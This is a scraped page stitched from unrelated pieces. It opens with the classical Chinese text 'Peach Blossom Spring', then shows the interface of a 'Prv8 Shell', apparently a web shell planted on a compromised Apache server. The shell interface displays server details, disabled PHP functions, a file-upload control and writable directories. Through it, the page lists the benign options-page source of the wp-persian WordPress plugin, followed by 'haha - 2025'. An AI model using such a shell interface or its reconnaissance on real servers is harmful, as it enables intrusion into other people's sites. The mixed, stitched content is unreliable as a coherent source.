晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/www/wp-content/plugins/wp-persian/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/stando/www/wp-content/plugins/wp-persian/includes/class-wpp-options.php
<?php

if ( ! defined( 'ABSPATH' ) ) exit;


require_once( ABSPATH . 'wp-admin/includes/translation-install.php' );


class WPP_Options {
	public $help_tabs = array();

	private static $instance;

	public static function getInstance()
	{
		if (!isset(self::$instance)) {
			self::$instance = new self();
		}
		return self::$instance;
	}

	protected function __construct() {

	}

	public function run() {
		add_action( "admin_menu", array( $this, 'admin_menu' ), 10, 0 );
		add_action( "admin_init", array( $this, 'register_fields' ), 10, 0 );
		add_action( 'init', array( $this, 'init' ) );
	}

	public function init() {
		//add_filter( 'pre_update_option_wpp_adminpanel_locale', array('update_field_wpp_adminpanel_locale'), 10, 2 );
		//add_filter( 'pre_update_option', array($this,'wpp_pre_update_option'), 10, 3 );
	}

	public function admin_menu() {
		$this->help_tabs = array(
			'wpp_admin_panel' => array(
				'title'   => __( 'Administrator Panel', 'wp-persian' ),
				'content' => '<p>' . __( 'Change language and calendar in administrator panel.', 'wp-persian' ) . '</p>',
			),
			'wpp_frontpage'   => array(
				'title'   => __( 'Frontpage', 'wp-persian' ),
				'content' => '<p>' . __( 'Change language , calendar and numbers in frontpage.', 'wp-persian' ) . '</p>',
			)
		);
		$option_page     = add_options_page( WPPERSIAN_NICK . ' Plugin Options', __( 'Persian', 'wp-persian' ), 'manage_options', 'wpp-options', array(
			$this,
			'display'
		) );
		add_action( 'load-' . $option_page, array( $this, 'help_sidebar' ) );

	}

	public function help_sidebar() {
		$screen = get_current_screen();

		foreach ( $this->help_tabs as $id => $data ) {
			$screen->add_help_tab( array(
				'id'      => $id,
				'title'   => $data['title'],
				'content' => $data['content']
				//,'callback' => array( $this, 'prepare' )
			) );
		}
		$screen->set_help_sidebar(
			'<p><strong>' . __( 'For more information:', 'wp-persian' ) . '</strong></p>' .
			'<p><a href="http://www.30yavash.com/tag/wp-persian/" target="_blank">' . __( 'Support', 'wp-persian' ) . '</a></p>'
		);

	}

	public function register_fields() {

		//Section2 - Adminpanel
		add_settings_section(
			"wppo_adminpanel_section",
			__( "Administrator Panel", 'wp-persian' ),
			null,
			"wppo_adminpanel_page"
		);

		add_settings_field(
			"wpp_adminpanel_locale",
			__( "Language", 'wp-persian' ),
			array(
				$this,
				'element_adminpanel_locale'
			),
			"wppo_adminpanel_page",
			"wppo_adminpanel_section"
		);
        add_settings_field(
            "wpp_adminpanel_context",
            __( "Context", 'wp-persian' ),
            array(
                $this,
                'element_adminpanel_context'
            ),
            "wppo_adminpanel_page",
            "wppo_adminpanel_section"
        );

        add_settings_field(
			"wpp_adminpanel_convert_date",
			__( "Date & Time", 'wp-persian' ),
			array(
				$this,
				'element_adminpanel_convert_date'
			),
			"wppo_adminpanel_page",
			"wppo_adminpanel_section"
		);
		add_settings_field(
			"wpp_adminpanel_numbers",
			__( "Numbers", 'wp-persian' ),
			array(
				$this,
				'element_adminpanel_numbers'
			),
			"wppo_adminpanel_page",
			"wppo_adminpanel_section"
		);
		add_settings_field(
			"wpp_adminpanel_letters",
			__( "Letters", 'wp-persian' ),
			array(
				$this,
				'element_adminpanel_letters'
			),
			"wppo_adminpanel_page",
			"wppo_adminpanel_section"
		);
		add_settings_field(
			"wpp_wysiwyg_editor",
			__( "Editor", 'wp-persian' ),
			array(
				$this,
				'element_adminpanel_wysiwyg_editor'
			),
			"wppo_adminpanel_page",
			"wppo_adminpanel_section"
		);

        add_settings_field(
            "wpp_fonts",
            __( "Fonts", 'wp-persian' ),
            array(
                $this,
                'element_adminpanel_fonts'
            ),
            "wppo_adminpanel_page",
            "wppo_adminpanel_section"
        );


        add_settings_field(
            "wpp_adminpanel_datepicker",
            __( "Calendar", 'wp-persian' ),
            array(
                $this,
                'element_adminpanel_datepicker'
            ),
            "wppo_adminpanel_page",
            "wppo_adminpanel_section"
        );


        register_setting( "wppo_adminpanel_section", "wpp_adminpanel_locale", array(
			$this,
			"validate_locale"
		) );

		register_setting( "wppo_adminpanel_section", "wpp_adminpanel_convert_date" );
		register_setting( "wppo_adminpanel_section", "wpp_tinymce_bidi_buttons" );
		register_setting( "wppo_adminpanel_section", "wpp_tinymce_css" );
		register_setting( "wppo_adminpanel_section", "wpp_adminpanel_context" );
		register_setting( "wppo_adminpanel_section", "wpp_adminpanel_numbers_post_content" );
		register_setting( "wppo_adminpanel_section", "wpp_adminpanel_numbers_post_excerpt" );
		register_setting( "wppo_adminpanel_section", "wpp_adminpanel_numbers_post_title" );
		register_setting( "wppo_adminpanel_section", "wpp_adminpanel_numbers_get_term" );
		register_setting( "wppo_adminpanel_section", "wpp_adminpanel_numbers_comment" );
		register_setting( "wppo_adminpanel_section", "wpp_adminpanel_numbers_date_i18n" );
		register_setting( "wppo_adminpanel_section", "wpp_adminpanel_letters" );
		register_setting( "wppo_adminpanel_section", "wpp_adminpanel_thousands_sep" );
		register_setting( "wppo_adminpanel_section", "wpp_adminpanel_decimal_point" );
		register_setting( "wppo_adminpanel_section", "wpp_adminpanel_numbers_format_i18n" );

        register_setting( "wppo_adminpanel_section", "wpp_adminpanel_font_main" );
        register_setting( "wppo_adminpanel_section", "wpp_adminpanel_font_h" );
        register_setting( "wppo_adminpanel_section", "wpp_adminpanel_font_nav" );

        register_setting( "wppo_adminpanel_section", "wpp_adminpanel_datepicker" );


		//Section1 - Frontpage
		add_settings_section(
			"wppo_frontpage_section",                //sectionID
			__( "Frontpage", 'wp-persian' ),
			null,
			"wppo_frontpage_page"                    //page
		);

		add_settings_field(
			"wpp_frontpage_locale",
			__( "Language", 'wp-persian' ),
			array(
				$this,
				'element_frontpage_locale'
			),
			"wppo_frontpage_page",                  //page
			"wppo_frontpage_section"                //sectionID
		);
		add_settings_field(
			"wpp_frontpage_convert_date",
			__( "Date & Time", 'wp-persian' ),
			array(
				$this,
				'element_frontpage_convert_date'
			),
			"wppo_frontpage_page",
			"wppo_frontpage_section"
		);
		add_settings_field(
			"wpp_frontpage_numbers",
			__( "Numbers", 'wp-persian' ),
			array(
				$this,
				'element_frontpage_numbers'
			),
			"wppo_frontpage_page",
			"wppo_frontpage_section"
		);
		add_settings_field(
			"wpp_frontpage_letters",
			__( "Letters", 'wp-persian' ),
			array(
				$this,
				'element_frontpage_letters'
			),
			"wppo_frontpage_page",
			"wppo_frontpage_section"
		);
		add_settings_field(
			"wpp_convert_permalink",
			__( "Permalink", 'wp-persian' ),
			array(
				$this,
				'element_frontpage_convert_permalink'
			),
			"wppo_frontpage_page",
			"wppo_frontpage_section"
		);

		register_setting( "wppo_frontpage_section", "wpp_frontpage_locale", array(
			$this,
			"validate_locale"
		) );
		register_setting( "wppo_frontpage_section", "wpp_frontpage_convert_date" );
		register_setting( "wppo_frontpage_section", "wpp_convert_permalink" );
		register_setting( "wppo_frontpage_section", "wpp_frontpage_numbers_the_content" );
		register_setting( "wppo_frontpage_section", "wpp_frontpage_numbers_wp_title" );
		register_setting( "wppo_frontpage_section", "wpp_frontpage_numbers_the_excerpt" );
		register_setting( "wppo_frontpage_section", "wpp_frontpage_numbers_comment_text" );
		register_setting( "wppo_frontpage_section", "wpp_frontpage_numbers_comments_number" );
		register_setting( "wppo_frontpage_section", "wpp_frontpage_numbers_the_title" );
		register_setting( "wppo_frontpage_section", "wpp_frontpage_numbers_wp_list_categories" );
		register_setting( "wppo_frontpage_section", "wpp_frontpage_numbers_date_i18n" );
		register_setting( "wppo_frontpage_section", "wpp_frontpage_numbers_format_i18n" );
		register_setting( "wppo_frontpage_section", "wpp_frontpage_letters" );
		register_setting( "wppo_frontpage_section", "wpp_frontpage_thousands_sep" );
		register_setting( "wppo_frontpage_section", "wpp_frontpage_decimal_point" );



        //Section3 - Plugins
        add_settings_section(
            "wppo_plugins_section",                //sectionID
            __( "Plugins", 'wp-persian' ),
            null,
            "wppo_plugins_page"                    //page
        );

        add_settings_field(
            "wpp_plugins_active_plugins",
            __( "Active Plugins", 'wp-persian' ),
            array(
                $this,
                'element_plugins_list'
            ),
            "wppo_plugins_page",                  //page
            "wppo_plugins_section"                //sectionID
        );

    }

	public function validate_locale( $input ) {
		if ( ! isset( $input ) || empty( $input ) ) {
			$input = 'en_US';
		}

		return $input;
	}

    public function element_adminpanel_datepicker() {
        ?>
        <label for="wpp_adminpanel_datepicker">
            <input name="wpp_adminpanel_datepicker" type="checkbox" id="wpp_adminpanel_datepicker"
                   value="1" <?php checked( get_option( 'wpp_adminpanel_datepicker' ), 1, true ) ?>><?php _e( 'Enable Date Picker Calendar', 'wp-persian' ) ?>
        </label>
        <?php
    }


    public function element_plugins_list() {
        ?>
        <label for="wpp_plugin_woocommerce">
            <input name="wpp_plugin_woocommerce" type="checkbox" id="wpp_plugin_woocommerce"
                   value="1" <?php checked( get_option( 'wpp_plugin_woocommerce' ), 1, true ) ?>><?php _e( 'Enable Woocommerce Jalali Date Converter', 'wp-persian' ) ?>
        </label>
        <?php
    }

	public function element_adminpanel_context() {
		?>
		<label for="wpp_adminpanel_context">
			<input name="wpp_adminpanel_context" type="checkbox" id="wpp_adminpanel_context"
			       value="1" <?php checked( get_option( 'wpp_adminpanel_context' ), 1, true ) ?>><?php _e( 'Use Context Feature in administrator panel to use RTL direction in LTR Languages', 'wp-persian' ) ?>
		</label>
		<?php
	}

	public function element_adminpanel_convert_date() {
		?>
		<label for="wpp_adminpanel_convert_date">
			<input name="wpp_adminpanel_convert_date" type="checkbox" id="wpp_adminpanel_convert_date"
			       value="1" <?php checked( get_option( 'wpp_adminpanel_convert_date' ), 1, true ) ?>>
			<?php _e( 'Convert dates in wordpress administrator panel', 'wp-persian' ) ?></label>
		<?php
	}

	public function element_adminpanel_wysiwyg_editor() {
		?>
		<fieldset>
			<label for="wpp_tinymce_bidi_buttons">
				<input name="wpp_tinymce_bidi_buttons" type="checkbox" id="wpp_tinymce_bidi_buttons"
				       value="1" <?php echo get_option( 'wpp_tinymce_bidi_buttons' ) == '1' ? 'checked="checked"' : '' ?>>
				<?php _e( 'Use Bidirectional button in visual editor', 'wp-persian' ) ?></label><br>
			<label for="wpp_tinymce_css">
				<input name="wpp_tinymce_css" type="checkbox" id="wpp_tinymce_css"
				       value="1" <?php echo get_option( 'wpp_tinymce_css' ) == '1' ? 'checked="checked"' : '' ?>>
				<?php _e( 'Use RTL style for visual editor', 'wp-persian' ) ?></label>
		</fieldset>
		<?php
	}

    public function element_adminpanel_fonts() {
        ?>
        <label for="wpp_adminpanel_font_main">
        <select name="wpp_adminpanel_font_main" id="wpp_adminpanel_font_main">
            <option value="Segoe UI" <?php selected( get_option( 'wpp_adminpanel_font_main' ), 'Segoe UI', true ) ?>>Segoe UI</option>
            <option value="Tahoma" <?php selected( get_option( 'wpp_adminpanel_font_main' ), 'Tahoma', true ) ?>>Tahoma</option>
            <option value="Vazir" <?php selected( get_option( 'wpp_adminpanel_font_main' ), 'Vazir', true ) ?>>Vazir</option>
            <option value="Samim" <?php selected( get_option( 'wpp_adminpanel_font_main' ), 'Samim', true ) ?>>Samim</option>
            <option value="Shabnam" <?php selected( get_option( 'wpp_adminpanel_font_main' ), 'Shabnam', true ) ?>>Shabnam</option>
            <option value="Sahel" <?php selected( get_option( 'wpp_adminpanel_font_main' ), 'Sahel', true ) ?>>Sahel</option>
            <option value="Nahid" <?php selected( get_option( 'wpp_adminpanel_font_main' ), 'Nahid', true ) ?>>Nahid</option>
            <option value="Tanha" <?php selected( get_option( 'wpp_adminpanel_font_main' ), 'Tanha', true ) ?>>Tanha</option>
        </select> <?php _e('As main font','wp-persian') ?>
        </label><br />

<label for="wpp_adminpanel_font_h">
        <select name="wpp_adminpanel_font_h" id="wpp_adminpanel_font_h">
            <option value="Segoe UI" <?php selected( get_option( 'wpp_adminpanel_font_h' ), 'Segoe UI', true ) ?>>Segoe UI</option>
            <option value="Tahoma" <?php selected( get_option( 'wpp_adminpanel_font_h' ), 'Tahoma', true ) ?>>Tahoma</option>
            <option value="Vazir" <?php selected( get_option( 'wpp_adminpanel_font_h' ), 'Vazir', true ) ?>>Vazir</option>
            <option value="Samim" <?php selected( get_option( 'wpp_adminpanel_font_h' ), 'Samim', true ) ?>>Samim</option>
            <option value="Shabnam" <?php selected( get_option( 'wpp_adminpanel_font_h' ), 'Shabnam', true ) ?>>Shabnam</option>
            <option value="Sahel" <?php selected( get_option( 'wpp_adminpanel_font_h' ), 'Sahel', true ) ?>>Sahel</option>
            <option value="Nahid" <?php selected( get_option( 'wpp_adminpanel_font_h' ), 'Nahid', true ) ?>>Nahid</option>
            <option value="Tanha" <?php selected( get_option( 'wpp_adminpanel_font_h' ), 'Tanha', true ) ?>>Tanha</option>
        </select> <?php _e('As header font','wp-persian') ?>
</label><br />
<label for="wpp_adminpanel_font_nav">
        <select name="wpp_adminpanel_font_nav" id="wpp_adminpanel_font_nav">
            <option value="Segoe UI" <?php selected( get_option( 'wpp_adminpanel_font_nav' ), 'Segoe UI', true ) ?>>Segoe UI</option>
            <option value="Tahoma" <?php selected( get_option( 'wpp_adminpanel_font_nav' ), 'Tahoma', true ) ?>>Tahoma</option>
            <option value="Vazir" <?php selected( get_option( 'wpp_adminpanel_font_nav' ), 'Vazir', true ) ?>>Vazir</option>
            <option value="Samim" <?php selected( get_option( 'wpp_adminpanel_font_nav' ), 'Samim', true ) ?>>Samim</option>
            <option value="Shabnam" <?php selected( get_option( 'wpp_adminpanel_font_nav' ), 'Shabnam', true ) ?>>Shabnam</option>
            <option value="Sahel" <?php selected( get_option( 'wpp_adminpanel_font_nav' ), 'Sahel', true ) ?>>Sahel</option>
            <option value="Nahid" <?php selected( get_option( 'wpp_adminpanel_font_nav' ), 'Nahid', true ) ?>>Nahid</option>
            <option value="Tanha" <?php selected( get_option( 'wpp_adminpanel_font_nav' ), 'Tanha', true ) ?>>Tanha</option>

        </select> <?php _e('As navigation font','wp-persian') ?></label>
        <?php
    }

    public function element_adminpanel_locale() {
		$languages    = get_available_languages();
		$translations = wp_get_available_translations();
		if ( ! is_multisite() && defined( 'WPLANG' ) && '' !== WPLANG && 'en_US' !== WPLANG && ! in_array( WPLANG, $languages ) ) {
			$languages[] = WPLANG;
		}
		if (! in_array( 'fa_IR', $languages ) && file_exists(WPP_DIR.'repository/admin-fa_IR.mo')){
			$languages[] = 'fa_IR';
		}

		if ( ! empty( $languages ) || ! empty( $translations ) ) {
			$locale = get_option( 'wpp_adminpanel_locale' );
			if ( ! in_array( $locale, $languages ) ) {
				$locale = '';
			}
			wp_dropdown_languages( array(
				'name'                        => 'wpp_adminpanel_locale',
				'id'                          => 'wpp_adminpanel_locale',
				'selected'                    => $locale,
				'languages'                   => $languages,
				'translations'                => $translations,
				'show_available_translations' => false,
				//'show_available_translations' => ( ! is_multisite() || is_super_admin() ) && wp_can_install_language_pack(),
			) );
		}
	}

	public function element_frontpage_locale() {
		$languages    = get_available_languages();
		$translations = wp_get_available_translations();
		if ( ! is_multisite() && defined( 'WPLANG' ) && '' !== WPLANG && 'en_US' !== WPLANG && ! in_array( WPLANG, $languages ) ) {
			$languages[] = WPLANG;
		}

		if (! in_array( 'fa_IR', $languages ) && file_exists(WPP_DIR.'repository/fa_IR.mo')){
			$languages[] = 'fa_IR';
		}

		if ( ! empty( $languages ) || ! empty( $translations ) ) {
			$locale = get_option( 'wpp_frontpage_locale' );
			if ( ! in_array( $locale, $languages ) ) {
				$locale = '';
			}
			wp_dropdown_languages( array(
				'name'                        => 'wpp_frontpage_locale',
				'id'                          => 'wpp_frontpage_locale',
				'selected'                    => $locale,
				'languages'                   => $languages,
				'translations'                => $translations,
				'show_available_translations' => false,
				//'show_available_translations' => ( ! is_multisite() || is_super_admin() ) && wp_can_install_language_pack(),
			) );
		}
	}

	public function element_frontpage_convert_date() {
		?>
		<label for="wpp_frontpage_convert_date">
			<input name="wpp_frontpage_convert_date" type="checkbox" id="wpp_frontpage_convert_date"
			       value="1" <?php checked( get_option( 'wpp_frontpage_convert_date' ), 1, true ) ?>>
			<?php _e( 'Convert dates in wordpress frontpage', 'wp-persian' ) ?></label>
		<?php
	}

	public function element_frontpage_convert_permalink() {
		?>
		<label for="wpp_convert_permalink">
			<input name="wpp_convert_permalink" type="checkbox" id="wpp_convert_permalink"
			       value="1" <?php checked( get_option( 'wpp_convert_permalink' ), 1, true ) ?>>
			<?php _e( 'Convert dates in permalinks', 'wp-persian' ) ?></label>
		<?php
	}

	public function element_frontpage_numbers() {
		?>
		<fieldset>
			<legend class="screen-reader-text"><span><?php _e( 'Numbers', 'wp-persian' ); ?></span></legend>
			<label for="wpp_frontpage_decimal_point">
				<span class="wpp-decimal-point"><?php _e( 'Decimal symbol:', 'wp-persian' ) ?></span> <select
					name="wpp_frontpage_decimal_point" id="wpp_frontpage_decimal_point">
					<option value="." <?php selected( get_option( 'wpp_frontpage_decimal_point' ), '.' ); ?>>.</option>
					<option value="/" <?php selected( get_option( 'wpp_frontpage_decimal_point' ), '/' ); ?>>/</option>
					<option value="'" <?php selected( get_option( 'wpp_frontpage_decimal_point' ), "'" ); ?>>'</option>
					<option value="," <?php selected( get_option( 'wpp_frontpage_decimal_point' ), ',' ); ?>>,</option>
				</select>
			</label><br>
			<label for="wpp_frontpage_thousands_sep">
				<span class="wpp-thousands-separator"><?php _e( 'Thousand separator symbol:', 'wp-persian' ) ?></span>
				<select name="wpp_frontpage_thousands_sep" id="wpp_frontpage_thousands_sep">
					<option value="," <?php selected( get_option( 'wpp_frontpage_thousands_sep' ), ',' ); ?>>,</option>
					<option value="." <?php selected( get_option( 'wpp_frontpage_thousands_sep' ), '.' ); ?>>.</option>
					<option value=" " <?php selected( get_option( 'wpp_frontpage_thousands_sep' ), ' ' ); ?>></option>
					<option value="'" <?php selected( get_option( 'wpp_frontpage_thousands_sep' ), "'" ); ?>>'</option>
				</select>
			</label><br>
			<label for="wpp_frontpage_numbers_wp_title">
				<input name="wpp_frontpage_numbers_wp_title" type="checkbox"
				       id="wpp_frontpage_numbers_wp_title"
				       value="1" <?php checked( get_option( 'wpp_frontpage_numbers_wp_title' ), 1, true ) ?>>
				<?php _e( 'Change numbers to Farsi in Page Title', 'wp-persian' ) ?></label><br>
			<label for="wpp_frontpage_numbers_the_title">
				<input name="wpp_frontpage_numbers_the_title" type="checkbox"
				       id="wpp_frontpage_numbers_the_title"
				       value="1" <?php checked( get_option( 'wpp_frontpage_numbers_the_title' ), 1, true ) ?>>
				<?php _e( 'Change numbers to Farsi in Post Title', 'wp-persian' ) ?></label><br>
			<label for="wpp_frontpage_numbers_the_excerpt">
				<input name="wpp_frontpage_numbers_the_excerpt" type="checkbox"
				       id="wpp_frontpage_numbers_the_excerpt"
				       value="1" <?php checked( get_option( 'wpp_frontpage_numbers_the_excerpt' ), 1, true ) ?>>
				<?php _e( 'Change numbers to Farsi in Post excerpt', 'wp-persian' ) ?></label><br>
			<label for="wpp_frontpage_numbers_the_content">
				<input name="wpp_frontpage_numbers_the_content" type="checkbox"
				       id="wpp_frontpage_numbers_the_content"
				       value="1" <?php checked( get_option( 'wpp_frontpage_numbers_the_content' ), 1, true ) ?>>
				<?php _e( 'Change numbers to Farsi in Post Content', 'wp-persian' ) ?></label><br>
			<label for="wpp_frontpage_numbers_comment_text">
				<input name="wpp_frontpage_numbers_comment_text" type="checkbox"
				       id="wpp_frontpage_numbers_comment_text"
				       value="1" <?php checked( get_option( 'wpp_frontpage_numbers_comment_text' ), 1, true ) ?>>
				<?php _e( 'Change numbers to Farsi in Comments', 'wp-persian' ) ?></label><br>
			<label for="wpp_frontpage_numbers_comments_number">
				<input name="wpp_frontpage_numbers_comments_number" type="checkbox"
				       id="wpp_frontpage_numbers_comments_number"
				       value="1" <?php checked( get_option( 'wpp_frontpage_numbers_comments_number' ), 1, true ) ?>>
				<?php _e( 'Change numbers to Farsi in Comments count', 'wp-persian' ) ?></label><br>
			<label for="wpp_frontpage_numbers_wp_list_categories">
				<input name="wpp_frontpage_numbers_wp_list_categories" type="checkbox"
				       id="wpp_frontpage_numbers_wp_list_categories"
				       value="1" <?php checked( get_option( 'wpp_frontpage_numbers_wp_list_categories' ), 1, true ) ?>>
				<?php _e( 'Change numbers to Farsi in Categories', 'wp-persian' ) ?></label><br>
			<label for="wpp_frontpage_numbers_date_i18n">
				<input name="wpp_frontpage_numbers_date_i18n" type="checkbox"
				       id="wpp_frontpage_numbers_date_i18n"
				       value="1" <?php checked( get_option( 'wpp_frontpage_numbers_date_i18n' ), 1, true ) ?>>
				<?php _e( 'Change numbers to Farsi in Dates', 'wp-persian' ) ?></label><br>
			<label for="wpp_frontpage_numbers_format_i18n">
				<input name="wpp_frontpage_numbers_format_i18n" type="checkbox" id="wpp_frontpage_numbers_format_i18n"
				       value="1" <?php checked( get_option( 'wpp_frontpage_numbers_format_i18n' ), 1, true ) ?>>
				<?php _e( 'Change other numbers to Farsi', 'wp-persian' ) ?></label>

		</fieldset>
		<?php
	}

	public function element_frontpage_letters() {
		?>
		<label for="wpp_frontpage_letters">
			<input name="wpp_frontpage_letters" type="checkbox" id="wpp_frontpage_letters"
			       value="1" <?php checked( get_option( 'wpp_frontpage_letters' ), 1, true ) ?>>
			<?php _e( 'Change arabic letters to farsi', 'wp-persian' ) ?></label><br>

		<?php
	}

	public function element_adminpanel_numbers() {
		?>
		<fieldset>
			<legend class="screen-reader-text"><span><?php _e( 'Numbers', 'wp-persian' ); ?></span></legend>
			<label for="wpp_adminpanel_decimal_point">
				<span class="wpp-decimal-point"><?php _e( 'Decimal symbol:', 'wp-persian' ) ?></span> <select
					name="wpp_adminpanel_decimal_point" id="wpp_adminpanel_decimal_point">
					<option value="." <?php selected( get_option( 'wpp_adminpanel_decimal_point' ), '.' ); ?>>.</option>
					<option value="/" <?php selected( get_option( 'wpp_adminpanel_decimal_point' ), '/' ); ?>>/</option>
					<option value="'" <?php selected( get_option( 'wpp_adminpanel_decimal_point' ), '\'' ); ?>>'
					</option>
					<option value="," <?php selected( get_option( 'wpp_adminpanel_decimal_point' ), ',' ); ?>>,</option>
				</select>
			</label><br>
			<label for="wpp_adminpanel_thousands_sep">
				<span class="wpp-thousands-separator"><?php _e( 'Thousand separator symbol:', 'wp-persian' ) ?></span>
				<select name="wpp_adminpanel_thousands_sep" id="wpp_adminpanel_thousands_sep">
					<option value="," <?php selected( get_option( 'wpp_adminpanel_thousands_sep' ), ',' ); ?>>,</option>
					<option value="." <?php selected( get_option( 'wpp_adminpanel_thousands_sep' ), '.' ); ?>>.</option>
					<option value=" " <?php selected( get_option( 'wpp_adminpanel_thousands_sep' ), ' ' ); ?>></option>
					<option value="'" <?php selected( get_option( 'wpp_adminpanel_thousands_sep' ), '\'' ); ?>>'
					</option>
				</select>
			</label><br>
			<label for="wpp_adminpanel_numbers_post_title">
				<input name="wpp_adminpanel_numbers_post_title" type="checkbox" id="wpp_adminpanel_numbers_post_title"
				       value="1" <?php checked( get_option( 'wpp_adminpanel_numbers_post_title' ), 1, true ) ?>>
				<?php _e( 'Change &amp; Save numbers to Farsi in Post Title', 'wp-persian' ) ?></label><br>
			<label for="wpp_adminpanel_numbers_post_excerpt">
				<input name="wpp_adminpanel_numbers_post_excerpt" type="checkbox"
				       id="wpp_adminpanel_numbers_post_excerpt"
				       value="1" <?php checked( get_option( 'wpp_adminpanel_numbers_post_excerpt' ), 1, true ) ?>>
				<?php _e( 'Change &amp; Save numbers to Farsi in Post excerpt', 'wp-persian' ) ?></label><br>
			<label for="wpp_adminpanel_numbers_post_content">
				<input name="wpp_adminpanel_numbers_post_content" type="checkbox"
				       id="wpp_adminpanel_numbers_post_content"
				       value="1" <?php checked( get_option( 'wpp_adminpanel_numbers_post_content' ), 1, true ) ?>>
				<?php _e( 'Change &amp; Save numbers to Farsi in Post Content', 'wp-persian' ) ?></label><br>
			<?php /* ?>
		<label for="wpp_adminpanel_numbers_comment_text">
			<input name="wpp_adminpanel_numbers_comment_text" type="checkbox" id="wpp_adminpanel_numbers_comment_text" value="1" <?php checked(get_option('wpp_adminpanel_numbers_comment_text'),1,true) ?>>
			<?php _e('Convert numbers in Comments','wp-persian') ?></label><br>
		<label for="wpp_adminpanel_numbers_comments_number">
			<input name="wpp_adminpanel_numbers_comments_number" type="checkbox" id="wpp_adminpanel_numbers_comments_number" value="1" <?php checked(get_option('wpp_adminpanel_numbers_comments_number'),1,true) ?>>
			<?php _e('Convert Comments count','wp-persian') ?></label><br>
        <?php */ ?>
			<label for="wpp_adminpanel_numbers_get_term">
				<input name="wpp_adminpanel_numbers_get_term" type="checkbox" id="wpp_adminpanel_numbers_get_term"
				       value="1" <?php checked( get_option( 'wpp_adminpanel_numbers_get_term' ), 1, true ) ?>>
				<?php _e( 'Change &amp; Save numbers to Farsi in Categories', 'wp-persian' ) ?></label><br>
			<label for="wpp_adminpanel_numbers_comment">
				<input name="wpp_adminpanel_numbers_comment" type="checkbox" id="wpp_adminpanel_numbers_comment"
				       value="1" <?php checked( get_option( 'wpp_adminpanel_numbers_comment' ), 1, true ) ?>>
				<?php _e( 'Change &amp; Save numbers to Farsi in Comments', 'wp-persian' ) ?></label><br>
			<label for="wpp_adminpanel_numbers_date_i18n">
				<input name="wpp_adminpanel_numbers_date_i18n" type="checkbox" id="wpp_adminpanel_numbers_date_i18n"
				       value="1" <?php checked( get_option( 'wpp_adminpanel_numbers_date_i18n' ), 1, true ) ?>>
				<?php _e( 'Change numbers to Farsi in Dates', 'wp-persian' ) ?></label><br>
			<label for="wpp_adminpanel_numbers_format_i18n">
				<input name="wpp_adminpanel_numbers_format_i18n" type="checkbox" id="wpp_adminpanel_numbers_format_i18n"
				       value="1" <?php checked( get_option( 'wpp_adminpanel_numbers_format_i18n' ), 1, true ) ?>>
				<?php _e( 'Change other numbers to Farsi', 'wp-persian' ) ?></label>
		</fieldset>
		<?php
	}

	public function element_adminpanel_letters() {
		?>
		<label for="wpp_adminpanel_letters">
			<input name="wpp_adminpanel_letters" type="checkbox" id="wpp_adminpanel_letters"
			       value="1" <?php checked( get_option( 'wpp_adminpanel_letters' ), 1, true ) ?>>
			<?php _e( 'Change arabic letters to farsi', 'wp-persian' ) ?></label><br>
		<?php
	}

	public function display() {
		$active_tab = isset( $_GET['tab'] ) ? $_GET['tab'] : 'frontpage';

		?>
		<div class="wrap">
			<h1><?php _e( 'Persian', 'wp-persian' ); ?></h1>
			<h2 class="nav-tab-wrapper">
				<a href="?page=wpp-options&tab=frontpage"
				   class="nav-tab <?php echo $active_tab == 'frontpage' ? 'nav-tab-active' : ''; ?>"><?php _e( 'Frontpage', 'wp-persian' ); ?></a>
				<a href="?page=wpp-options&tab=adminpanel"
				   class="nav-tab <?php echo $active_tab == 'adminpanel' ? 'nav-tab-active' : ''; ?>"><?php _e( 'Adminpanel', 'wp-persian' ); ?></a>
                <?php /* ?>
                <a href="?page=wpp-options&tab=plugins"
                   class="nav-tab <?php echo $active_tab == 'plugins' ? 'nav-tab-active' : ''; ?>"><?php _e( 'Plugins', 'wp-persian' ); ?></a>
                <?php */ ?>
			</h2>
			<form method="post" action="options.php">
				<?php

				if ( 'adminpanel' == $active_tab ) {
					settings_fields( "wppo_adminpanel_section" );
					do_settings_sections( "wppo_adminpanel_page" );

				}
				/*
				else if ( 'plugins' == $active_tab ) {
                    settings_fields( "wppo_plugins_section" );
                    do_settings_sections( "wppo_plugins_page" );

                }
                */
                else {
					settings_fields( "wppo_frontpage_section" );
					do_settings_sections( "wppo_frontpage_page" );
				}
				submit_button();
				?>
			</form>
		</div>
		<?php
	}


}

?>

haha - 2025